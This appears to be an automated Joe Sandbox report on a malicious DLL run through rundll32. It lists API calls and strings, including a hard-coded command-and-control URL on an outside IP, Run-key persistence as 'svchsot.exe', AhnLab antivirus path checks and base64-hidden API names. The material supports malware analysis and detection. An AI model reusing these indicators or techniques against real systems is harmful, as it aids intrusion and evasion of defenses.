Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DeleteFile$wsprintf
String ID: %s\ASDSvc.exe$%s\V3Lite.exe$C:\1.vbs$InstallPath$U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==
API String ID: 1588361905-790033058
Opcode ID: 4fdcb9e3cb7b7d7e48ae1263caf4d0724849cc799b86168a61aa29251073b66c
Instruction ID: 12df29d0951342ddc407d4625d5417db9b39606e010889d188617410b2ef4019
Opcode Fuzzy Hash: 4fdcb9e3cb7b7d7e48ae1263caf4d0724849cc799b86168a61aa29251073b66c
Instruction Fuzzy Hash: 1D110AB25043447EE714D264DC82EEBB7A9EBC8350F00892DF78897141EAB8A54887A3

Function 10008D40 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61
sleepsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10008D63

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008E45), ref: 100048EF

GetLastError.KERNEL32 ref: 10008D7C
CloseHandle.KERNEL32(00000000), ref: 10008DEE

Part of subcall function 10007850: wsprintfA.USER32 ref: 100078B3

Sleep.KERNEL32(0002BF20,00000000,00000000), ref: 10008DB0
CreateThread.KERNEL32 ref: 10008DCC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008DD7
CloseHandle.KERNEL32(00000000), ref: 10008DDE
Sleep.KERNEL32(0002BF20), ref: 10008DE9

Strings

5655029807, xrefs: 10008D9A
0x5d65r455f, xrefs: 10008D69

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleSleep$ErrorLastMutexObjectSingleStartupThreadWaitwsprintf
String ID: 0x5d65r455f$5655029807
API String ID: 3565103679-1179119988
Opcode ID: 1a60569a9e1742063054e6702fb1a97b3fe3fc6207dee1b9403882afc8ef0e3e
Instruction ID: a4b02c7b1a945233db63801da5c4659620b852bd9fb6bbf2a3dc4b8ff304b1f7
Opcode Fuzzy Hash: 1a60569a9e1742063054e6702fb1a97b3fe3fc6207dee1b9403882afc8ef0e3e
Instruction Fuzzy Hash: 7D1126B6640228B7F360E3609C8AFAA3648EB59395F054235FB09991C6DF709910C7AB

Function 1000C3E0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Netbios.NETAPI32 ref: 1000C41F
Netbios.NETAPI32(?), ref: 1000C45B

Strings

3, xrefs: 1000C4BE
%02X%02X%02X%02X%02X%02X, xrefs: 1000C558
2, xrefs: 1000C452

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Netbios
String ID: %02X%02X%02X%02X%02X%02X$2$3
API String ID: 544444789-1505804699
Opcode ID: e910e69c9fb7de07cf29225844011438d3ce8845e5ccdbd5dc600c0cf43283cc
Instruction ID: 9379413c18c3b9cf1080a2849292561f9d104e05a16b954f86d86dab010ff386
Opcode Fuzzy Hash: e910e69c9fb7de07cf29225844011438d3ce8845e5ccdbd5dc600c0cf43283cc
Instruction Fuzzy Hash: 3641DE361187869BD724CA28C8107FBB7E5EFC4350F48483DA5D48B682DAB8E60DC793

Function 1000B9B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108registrysleepCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,00000000), ref: 1000BA17
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 1000BA4D
RegCloseKey.ADVAPI32(00000000), ref: 1000BAFD
Sleep.KERNEL32(000493E0), ref: 1000BB08

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 1000BA0D
svchsot.exe, xrefs: 1000BAC8

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseInfoOpenQuerySleep
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$svchsot.exe
API String ID: 2225969182-2172464104
Opcode ID: c9bf2ff1d13dae5b833a487b8e81c62bbcc5986c1dc27c5d534927ca15fa1c20
Instruction ID: 3ecfd9ec261094238762d341e26dc430852d1dc9185e0953a6393a59da226f92
Opcode Fuzzy Hash: c9bf2ff1d13dae5b833a487b8e81c62bbcc5986c1dc27c5d534927ca15fa1c20
Instruction Fuzzy Hash: 9D313D71209341AFE311CF55CC84FABB7E9FBC9B44F40492DF28596184DA70EA05CBA2

Function 10008E10 Relevance: 10.5, APIs: 7, Instructions: 46sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 10008E24

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008E45), ref: 100048EF

GetLastError.KERNEL32 ref: 10008E4A
CreateThread.KERNEL32(00000000,00000000,10008AC0,?,00000000,00000000), ref: 10008E70
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008E77
CloseHandle.KERNEL32(00000000), ref: 10008E7A
Sleep.KERNEL32(00002710), ref: 10008E85
CloseHandle.KERNEL32(00000000), ref: 10008E8E

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandle$ErrorLastMutexObjectSingleSleepStartupThreadWait
String ID:
API String ID: 3243752880-0
Opcode ID: 9bbb0afe37d6a0cff180d47d71fffd662c2ae0feb124397235c8bdfd42b3b31a
Instruction ID: 2b476891007528d670aaa261bba301581ebdf0ea9bc8df80ae5b71414b63efd8
Opcode Fuzzy Hash: 9bbb0afe37d6a0cff180d47d71fffd662c2ae0feb124397235c8bdfd42b3b31a
Instruction Fuzzy Hash: D2012875244260BBF2219760DC4EF9F3B68FB8A790F114224FB1C961C2CBB4691083BB

Function 10009530 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 117sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000927C0), ref: 100095EA
wsprintfA.USER32 ref: 1000966F
Sleep.KERNEL32(000927C0), ref: 10009683

Strings

http://107.163.241.204:12354/show.php, xrefs: 100095A3

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$wsprintf
String ID: http://107.163.241.204:12354/show.php
API String ID: 3195947292-2343821269
Opcode ID: aa6c9d3bb28695e2680ac91108b719837dce01328cd36e7a113264c4bb11100c
Instruction ID: f0ac92a7d81d97515580aba3bf1198aa49dabea17cc57831871ccb142944b746
Opcode Fuzzy Hash: aa6c9d3bb28695e2680ac91108b719837dce01328cd36e7a113264c4bb11100c
Instruction Fuzzy Hash: A531AE716046856BF361CA34CC92ADB3BC6EB453D0F11493CF68587189EA37D84C8352

Function 10011171 Relevance: 3.8, APIs: 3, Instructions: 54COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 1001119F
_initterm.MSVCRT ref: 100111CA
free.MSVCRT ref: 10011207

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: _inittermfreemalloc
String ID:
API String ID: 1678931842-0
Opcode ID: 29de6a0919e72c9ce90837e4cfa0372134af6144f2ffe0f560bbd249553a6893
Instruction ID: 89c66d5e5ef6756a3be054b8b1b5234f4a8a23339d9655e7039f3d4392aee007
Opcode Fuzzy Hash: 29de6a0919e72c9ce90837e4cfa0372134af6144f2ffe0f560bbd249553a6893
Instruction Fuzzy Hash: 2B11A071208226AFF318CBA4DDD5F8A37E5FB08391F11801EE901CB2A0E731E890CB40

Function 10002580 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6DFB0000,00000000), ref: 100025A4

Strings

TmV0TG9jYWxHcm91cEVudW0=, xrefs: 10002590

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0TG9jYWxHcm91cEVudW0=
API String ID: 190572456-980335172
Opcode ID: 81376ad01542c8d7aa510b5a1fbaf4177278977829d2dc468818db707d46ecd3
Instruction ID: ee2c1b9eaecec095c1495435bf22087756d9ff6aa0c22ba2e45eaa1fd3928b02
Opcode Fuzzy Hash: 81376ad01542c8d7aa510b5a1fbaf4177278977829d2dc468818db707d46ecd3
Instruction Fuzzy Hash: 98C08CF4800A10DBF602CBB49C84B0633A8E30C18BB008020F41DC221AEB30E2848725

Function 10002640 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6DFB0000,00000000), ref: 10002664

Strings

TmV0QXBpQnVmZmVyRnJlZQ==, xrefs: 10002650

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0QXBpQnVmZmVyRnJlZQ==
API String ID: 190572456-3244026974
Opcode ID: 2cb19a475e9f940d8fa42b2659e369d611ebc8e3f3c4efcc642f9a4dc9ee3403
Instruction ID: b49ee88265c95803bbe09daecf6b9b773d0258d54844777730bf0e747ca74e0c
Opcode Fuzzy Hash: 2cb19a475e9f940d8fa42b2659e369d611ebc8e3f3c4efcc642f9a4dc9ee3403
Instruction Fuzzy Hash: 94C08CF8800920DBF642CBB09C84B063398E30C28AB008020F599D221ADB31F2808722

Function 10001000 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 137stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,00000001), ref: 10001155

Strings

VUUU, xrefs: 10001056

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcpy
String ID: VUUU
API String ID: 3722407311-2040033107
Opcode ID: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction ID: c786a2ff591aff92977bd3f5140d7e1907602f98ed4a153bb8b8b05817a39e60
Opcode Fuzzy Hash: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction Fuzzy Hash: AF416B31B0049207F32DC62C8CB227ABBD2DB922C0B54813EE6C7C7256D9A2DD66C350

Function 1000B5E0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1000B0A0: lstrcpy.KERNEL32(?,?), ref: 1000B0D9
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,10019BE4), ref: 1000B0F2
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,*.*), ref: 1000B101
Part of subcall function 1000B0A0: FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113

Sleep.KERNEL32(0036EE80), ref: 1000B686

Strings

C:\Program Files, xrefs: 1000B5E9

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcat$FileFindFirstSleeplstrcpy
String ID: C:\Program Files
API String ID: 187370985-1387799010
Opcode ID: 25dcf6cf8a732501d953cf42c955e396105a4153fdc7747b2ad82983722b2fc6
Instruction ID: bf3bebc3486c08cb9be8516adc5afa7db24ceed3d0b344f5df12b39d219439a2
Opcode Fuzzy Hash: 25dcf6cf8a732501d953cf42c955e396105a4153fdc7747b2ad82983722b2fc6
Instruction Fuzzy Hash: 1211A1B88047558BF300DF68ECC15477BE0FB84784F018929E89587326E731D548CBA7

Function 00F30FA4 Relevance: 3.0, APIs: 2, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00001000,00000004,?,?), ref: 00F30FD3
VirtualProtect.KERNEL32(?,00001000,?,?), ref: 00F30FF1

Memory Dump Source

Source File: 00000006.00000002.3803214756.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction ID: 583b3da6742065935a9b65008412b1e27c1195db417a97469b654dae08045582
Opcode Fuzzy Hash: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction Fuzzy Hash: 4CF0E933240245AFEB198F64D895EEE7768DF48398B20016BF6029A186CA71E551C754

Function 00F30063 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00F3007E
VirtualFree.KERNELBASE(00000000,?,00004000), ref: 00F300BE

Memory Dump Source

Source File: 00000006.00000002.3803214756.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction ID: eddf8f832131def0e62503fd4554cf1f679cbd1f716fa79c2af3868426b395f5
Opcode Fuzzy Hash: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction Fuzzy Hash: B401A4B6209601BEE7318AA19C50F37BBECDF48722F144C5BFAD5C5091DD25E840AB70

Function 10004C20 Relevance: 1.5, APIs: 1, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,100090BE,80000001,00000000,?), ref: 10004C4D

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: dcb72b9d121e4c2de8108387673df4cf873707b98aa56f1b6d75724d6adb63c3
Instruction ID: 61b6c47c184ca06b9fd72a7f0ba2ec17e889df0e2832bec4f887a7ac6ceaf705
Opcode Fuzzy Hash: dcb72b9d121e4c2de8108387673df4cf873707b98aa56f1b6d75724d6adb63c3
Instruction Fuzzy Hash: 38E00AB5218601AF9604CF49D894D1BB3F9AFCC700F10CA0CF599C3254D630E806CB62

Function 10004B40 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,00000003,00000003,00000003,00000003,40000000,?,1000BBE4,c:\ftelcs\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004B63

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e3e2f9212aea94acbb92fcce48639bc2d0a459d7904b4c206f7290380be75b4f
Instruction ID: 5c848e7f91643569c05fc166510404e816cd169a4a996ef37c8896439641648e
Opcode Fuzzy Hash: e3e2f9212aea94acbb92fcce48639bc2d0a459d7904b4c206f7290380be75b4f
Instruction Fuzzy Hash: 9FD0A2B5618202AF9A44CF98EA94D1BB7E9ABCDB10F10890CB585D3254D670EC49CB73

Function 10004C70 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,76F90F10,?,1000AAC6,?,76F90F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ffb0308163dd155646de83dd8a2210b3fab9f6e79644839b9d543c43c24d523b
Instruction ID: c94a5b7a7e223bb3d9d1914b02920bb106f194c5d4b5f7e9879f128cbe4b1ed0
Opcode Fuzzy Hash: ffb0308163dd155646de83dd8a2210b3fab9f6e79644839b9d543c43c24d523b
Instruction Fuzzy Hash: FFD06CB5208342AF9704CF48D884C3BB3E9BBC9600F048D0CB59583210C730E848CB72

Function 10004CC0 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,?,?,10009112,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1e0728d56720446dc8f188b8281446978ae8e4751edbaaecc20bf0610a723b72
Instruction ID: 4e55dd93f88442cd77918680cb2b9568ed73352474008d787238a44ed1f05354
Opcode Fuzzy Hash: 1e0728d56720446dc8f188b8281446978ae8e4751edbaaecc20bf0610a723b72
Instruction Fuzzy Hash: CFD0BCB5618742AF9704CF58D994C3BB7F9BBC8601F148D0CB59583254D730EC49CB62

Function 10004960 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,?,00000000), ref: 1000497E

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 32508bf2d9302bf3b3a7b54a2dd61d357e471c229301823fd5b5295839add9cb
Instruction ID: 4735f6d36abf942a60610c31992a401985b9612102358bc0e507517b78eec5ca
Opcode Fuzzy Hash: 32508bf2d9302bf3b3a7b54a2dd61d357e471c229301823fd5b5295839add9cb
Instruction Fuzzy Hash: 3BD0BCB5618342AF9704CF98D994D3BB7E9BBC8600F148D0CB59583254D770E849CB62

Function 10004CA0 Relevance: 1.5, APIs: 1, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,00020019,1000AA61,80000002,1000B947,00000000,00020019,?,?,?,76F90F00), ref: 10004CB9

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a2e6794b69da438bceab8b97c139cd2b7c0f4092ddaf56f468915fc4f32291a7
Instruction ID: 5c6c51c88c469bf1be79a4f7090ddca3a896a7fd69dbc728fef4346d028b715e
Opcode Fuzzy Hash: a2e6794b69da438bceab8b97c139cd2b7c0f4092ddaf56f468915fc4f32291a7
Instruction Fuzzy Hash: FCD0C5B9218201BF9A48CB58D994D2BB3E9ABC8711F00C90CB9AA83240C630E844CB22

Function 10004940 Relevance: 1.5, APIs: 1, Instructions: 12networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 7339e42796d01682138bb048caf6184e116aa02b7ddbc024da59192113e8da8c
Instruction ID: 34001bf8c2cba23af082b489c03d04633ad386a3cfdfe005a800718bb59fd30e
Opcode Fuzzy Hash: 7339e42796d01682138bb048caf6184e116aa02b7ddbc024da59192113e8da8c
Instruction Fuzzy Hash: 22D0C5B9218201AF9A08CB98D994D2BB3E9ABC8710F00C90CB5A983240C630E805CB22

Function 10004A80 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000080,00000080,00000004,00000000,1000BBF2,00000000,00000000,00000000,00000002,c:\ftelcs\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004A94

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9876381e22d22b1458ca2fa761007b452ba81d20bd10a51ea37b9b1aad8e0387
Instruction ID: be9a382d2b369adfd86f05014ed6db0671bf05b4c0ed29ce673cfbf6b32c1ee5
Opcode Fuzzy Hash: 9876381e22d22b1458ca2fa761007b452ba81d20bd10a51ea37b9b1aad8e0387
Instruction Fuzzy Hash: 11C002B9608301BFDA04CB54C888C6BBBE9FBC8350F10C90CF59983210C670E840CB22

Function 100048E0 Relevance: 1.5, APIs: 1, Instructions: 8synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,10008E45), ref: 100048EF

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 77c65636fc826cf76c21ed1c2d636e4c276b75799d8320223db5c848b078b21e
Instruction ID: 0f762730c69bebdb351af9c8d18ff2834a442b22ff34d7319f85fa269715e188
Opcode Fuzzy Hash: 77c65636fc826cf76c21ed1c2d636e4c276b75799d8320223db5c848b078b21e
Instruction Fuzzy Hash: E1C04C78204200BFDA04DB10C984C2BB7A9EBC4611F10C90CB89543210C630EC40DA11

Function 10004B10 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: NamePathShort
String ID:
API String ID: 1295925010-0
Opcode ID: d75f39ea44d3613afe9b73ceb1df7c372ebca31a203f543388a093a8c34cc2c1
Instruction ID: fb303a89878e7834feb62f1d6caf84f4d5b544132efa83a72c0d9ccc6a0791d4
Opcode Fuzzy Hash: d75f39ea44d3613afe9b73ceb1df7c372ebca31a203f543388a093a8c34cc2c1
Instruction Fuzzy Hash: 4AC04CB8604200BFDA04CB10C984C2BB7E9EBC4611F00C90CF88942210C674EC40DA11

Function 100014A0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04794068), ref: 100014B6

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c2de9d88f2705f53aabbb0d8b9c739a45cf59583a08265cc16cd9615cabf7428
Instruction ID: 1fe744c34e75f0182e43f18cf51d4d7f27cae1939632f0405d9f60eef7c226b3
Opcode Fuzzy Hash: c2de9d88f2705f53aabbb0d8b9c739a45cf59583a08265cc16cd9615cabf7428
Instruction Fuzzy Hash: 78B092B0800620CBE6128B6088C84473674A30C286300C101F918C3329DB34C104AF60

